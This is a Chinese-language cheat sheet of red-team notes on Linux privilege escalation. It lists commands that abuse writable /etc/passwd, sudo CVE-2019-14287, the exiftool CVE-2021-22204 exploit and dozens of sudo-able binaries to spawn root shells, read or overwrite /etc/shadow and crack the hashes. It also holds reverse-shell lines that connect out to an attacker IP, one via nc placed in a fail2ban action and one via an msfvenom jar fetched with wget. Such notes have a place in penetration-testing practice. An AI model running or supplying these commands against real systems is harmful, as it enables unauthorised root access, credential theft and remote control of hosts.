推荐提权命令查询网站
https://gtfobins.github.io/
/etc/passwd 文件提权
前提:对/etc/passwd有写的权限
1.openssl生成密码
openssl passwd -1 123123
$1$wyVFODse$lnAIr17.oqr1wGa9OhTmx.
2.查看/etc/passwd文件里root信息
cat /etc/passwd|grep root
root:x:0:0:root:/root:/bin/bash
3.拼接/etc/passwd用户信息
test:$1$wyVFODse$lnAIr17.oqr1wGa9OhTmx.:0:0:root:/root:/bin/bash
4.编辑/etc/passwd添加用户信息
vim /etc/passwd
G --跳到最后一行
o --另起一行编辑
Ctrl+Shift+V --粘贴用户信息
Esc --退出编辑模式
:wq --保存并退出
su test
输入密码123456
获取root权限
sudo漏洞提权 CVE 2019-14287
sudo -V | grep version
前提条件:
sudo版本1.8.28以下
sudo -l 中存在nopasswd: /bin/bash
提权payload
sudo -u#-1 /bin/bash
sudo apache2提权
1.利用 apache2报错泄露出/etc/shadow中root的hash信息
sudo apache2 -f /etc/shadow
2.复制shadow中root那列存入shadow_root,使用john爆破hash
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
sudo ash提权
sudo ash
sudo awk提权
sudo awk 'BEGIN {system("/bin/bash")}'
sudo base64提权 –base家族同理
1.查看/etc/shadow
cat /etc/shadow --无权限
2.创建变量
RedteamNotes=/etc/shadow
3.获取/etc/shadow文件内容
sudo base64 "$RedteamNotes" | base64 -d
4.复制/etc/shadow文件内容存入shadow_root,使用john爆破hash
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
sudo cp提权
!!谨慎使用该提权!!
会覆盖/etc/shadow文件,导致只有root一个 账户信息
提前做好shadow文件备份
攻击机:
1.生成明文密码123456 hash值
mkpasswd -m sha-512 123456
2.将123456的hash与/etc/shadow里面的root密码的hash替换成123456的hash –第二列
靶机:
3.创建/etc/shadow环境变量
RedteamNotes=/etc/shadow
4.创建变量生产零时文件
TF=$(mktemp)
5.将root那行记录存入到TF中
echo 'root:xxxx:xx:xx:xx:xx:x' >$TF
6.查看零时文件目录
echo $TF
7.提权命令
sudo cp /usr/bin/cp $TF $RedteamNotes
sudo curl提权
!!谨慎使用该提权!!
会覆盖/etc/shadow文件,导致只有root一个 账户信息
提前做好shadow文件备份
攻击机:
1.生成明文密码123456hash值
mkpasswd -m sha-512 123456
靶机:
2.将123456的hash与/etc/shadow里面的root密码的hash替换成123456的hash –第二列 存在文件shadow_entry中
3.开启一个简单的php服务器
sudo php -S 0:80
靶机:
4.将攻击机中shadow_entry文件覆盖到靶机/etc/shadow中
sudo curl http://192.168.153.129/shadow_entry -o /etc/shadow
-o 输出
sudo bash提权
sudo bash
sudo apt提权
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
sudo gcc编译提权
sudo gcc -wrapper /bin/bash,-s .
sudo find提权
sudo find . -exec /bin/sh \; -quit
-exec 是指查找时执行的命令
; 是exec参数的结束符 \是转义;
-quit 找到第一个文件或者目录后就使find停止
sudo -l 环境变量提权
(root : root) SETENV: /usr/bin/check_syslog.sh
tail -n 10 /var/log/syslog
//设置软连接 tail命令指向vi命令
ln -s /bin/vi tail
//这是一个将当前目录添加到系统环境变量 PATH 中的命令,使得在执行命令时会在当前目录中查找可执行文件。具体来说,它将 $PATH 环境变量的值追加一个以当前目录(.)为开头的路径,并将修改后的结果重新赋值给 $PATH 变量。
export PATH=.:$PATH
//查看环境变量
echo $PATH
利用环境变量执行vi编辑器
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
之后在vi编辑器里输入:!bash
获取root权限
suid find提权
sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit
sudo cpulimit提权
sudo cpulimit -l 100 -f /bin/bash
-l 限制cpu使用率
-f 指定一个程序,按照-l的参数去使用cpu
sudo date提权
1.使用date报错导致/etc/shadow文件信息泄露(root)
sudo date -f /etc/shadow
-f 从指定的文件中读取时间
2.复制shadow中root那列存入shadow_root,使用john爆破hash
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
sudo dd提权
!!谨慎使用该提权!!
会覆盖/etc/shadow文件,导致只有root一个 账户信息
提前做好shadow文件备份
攻击机:
1.生成明文密码123456 hash值
mkpasswd -m sha-512 123456
2.将123456的hash与/etc/shadow里面的root密码的hash替换成123456的hash –第二列
靶机:
3.执行dd覆盖/etc/passwd文件
echo 'root:sqdqwredq:74984:4:4xx:xx:xx' | sudo dd of=/etc/shadow
of --(out file)输出到文件
sudo dstat提权
1.查找dstat的目录
find / -name dstat -type d 2>/dev/null
路径为:/usr/share/dstat
2.cd到目录中创建插件
vim dstat_readteamnotes.py
代码:
import os;os.execv("/bin/bash",["bash"])
3.执行提权命令
sudo dstat --redteamnotes
sudo ed提权
1.执行提权命令
sudo /usr/bin/ed
2.输入提权代码
!/bin/bash
sudo env提权
执行提权命令
sudo env /bin/bash
sudo exiftool提权 CVE2021-22204
漏洞版本:7.44-12.23
exiftool -ver
1.编辑payload
vi payload
(metadata "\c${system('/bin/bash')};")
2.使用bzz压缩payload
bzz payload payload.bzz
3.使用djvumake生成利用文件
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
4.执行提权命令
sudo exiftool exploit.djve
sudo expect提权
expect 模拟用户键盘输入,可以自动化模拟用户交互的过程
执行提权命令
sudo expect -c "spawn /bin/bash;interact"
-c 直接在命令行中输入执行代码,无需读取文件
-spawn 生成
-interact 交互
sudo fail2ban提权
ssh防御性功能,用户在同一时间段多次ssh登录时,可以实现使用脚本限制
1.查找fail2ban文件目录
find / -name "fail2ban*" -type d 2>/dev/null
/etc/fail2ban
2.查找/etc目录下是否有action文件可写
//查找/etc目录下可写的文件
find /etc writable -type d 2>/dev/null
/etc/fail2ban/action.d
3.查看触发条件文件
vim /jail.conf
bantime = 10s //封禁10秒
findtime = 10s //查找时间10秒
maxretry = 5 //失败登录5次后触发
4.查看action行为文件,获取写的权限
cd /etc/fail2ban/action.d
//iptables-multiport.conf 激活触发条件后执行的限制脚本
ls -la
//此时iptables-multiport.conf属组还是root,无权限编辑,但是此目录是可写的
mv iptables-multiport.conf iptables-multiport.conf.bak
ls -la
//此时属组还是root
cp iptables-multiport.conf.bak iptables-multiport.conf
ls -la
// 此时文件属组变成当前用户了,即可以进行编辑
5.修改文件配置,进行反弹shell
vim iptables-multiport.conf
//找到actionban参数,这一行就是执行的操作
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.153.129 1234 > /tmp/f
1. `rm /tmp/f`:删除名为 `/tmp/f` 的文件(如果存在)。
2. `mkfifo /tmp/f`:创建一个名为 `/tmp/f` 的命名管道文件。
3. `cat /tmp/f | /bin/bash -i 2>&1`:通过管道将 `/tmp/f` 的内容传递给 `/bin/bash` 命令,并将标准错误输出(`2`)重定向到标准输出(`1`),这将打开一个交互式的 Bash Shell。
4. `nc 192.168.153.129 1234 > /tmp/f`:使用 `nc` 命令将 `/bin/bash` 的输入和输出重定向到指定的 IP 地址和端口(`192.168.153.129:1234`),同时将输出重定向回 `/tmp/f` 文件。
6.重启服务,激活action
sudo /etc/init.d/fail2ban restart
7.反弹shell
攻击机:
nc -lvnp 1234
靶机:
多次ssh登录输入错误密码,从而激活action行为
sudo flock提权
在Linux中,flock
是一个文件锁定工具,用于对文件进行加锁和解锁操作。它可以用于在多个进程之间实现对共享文件的访问控制,确保同一时间只有一个进程可以对文件进行操作,从而避免并发访问引发的数据不一致或冲突。
提权命令
sudo flock -u / /bin/bash
-u 解锁 / 根目录下的文件 并允许一个程序来操作
sudo ftp提权
提权命令
sudo ftp //进入ftp命令行
执行:
!/bin/bash
-! 是告诉ftp后面执行的是系统命令
sudo gdb提权
gdb是用来调试c++等语言的工具
提权命令
sudo gdb -nx -ex '!bash' -ex quit
-nx 在启动时不读取任何初始化的配置文件
-ex 执行命令
sudo git提权
执行提权命令
sudo git branch --help
然后输入:
!/bin/bash
sudo gzip/gunzip提权
1.读取/etc/shadow文件内容
sudo gzip -f /etc/shadow -t
-f 强制执行
-t 输出压缩文件内容
2.复制shadow中root那列存入shadow_root,使用john爆破hash
john shadow_root --wordlist=/usr/share/wordlists/rockyou.txt
sudo hping3提权
hping3 是一个 Linux 平台下的网络工具,用于进行 TCP/IP 协议栈发包和响应分析。它是 ping 和 traceroute 工具的增强版。
具体来说,hping3 支持以下功能:
可对任何协议(TCP、UDP、ICMP)进行模拟。
可在数据包中指定自定义的 IP 和 TCP/UDP 头部字段。
可以指定多个不同源 IP 或源端口以进行伪造攻击。
可以使用类似 ping 的方式测试目标主机是否在线,同时指定不同类型的 ICMP 报文。
可以模拟 TCP SYN Flood/DDOS 等攻击。
执行提权命令
sudo hping3
/bin/bash
sudo iftop提权
iftop 是一个 Linux 平台下的网络监控工具,可以实时显示当前系统网络接口流量。它可以用于查看网络带宽使用情况以及识别网络瓶颈所在。
iftop 功能特点:
实时监测网络接口流量。
显示每个连接的源 IP、目标 IP、端口和流量。
可以选择不同的网络接口进行监测。
支持 TCP 和 UDP 流量监测。
支持 IPv4 和 IPv6 协议。
可以按流量大小和连接数对连接进行排序。
支持过滤器,可以根据源地址、目标地址、端口等条件对流量进行过滤显示。
提权命令
sudo iftop
然后输入:! 开启命令行
在输入:/bin/bash成功提权
sudo java提权
1.kali生成反弹shell文件
sudo msfvenom -p java/shell_reverse_tcp LHOST=192.168.153.129 LPORT=1234 -f jar -o shell.jar
2.kali开启php服务
sudo php -S 0:80
//开启监听
nc -lvnp 1234
3.靶机执行命令
cd /tmp
wget http://192.168.153.129/shell.jar
chmod +x shell.jar
sudo java -jar shell.jar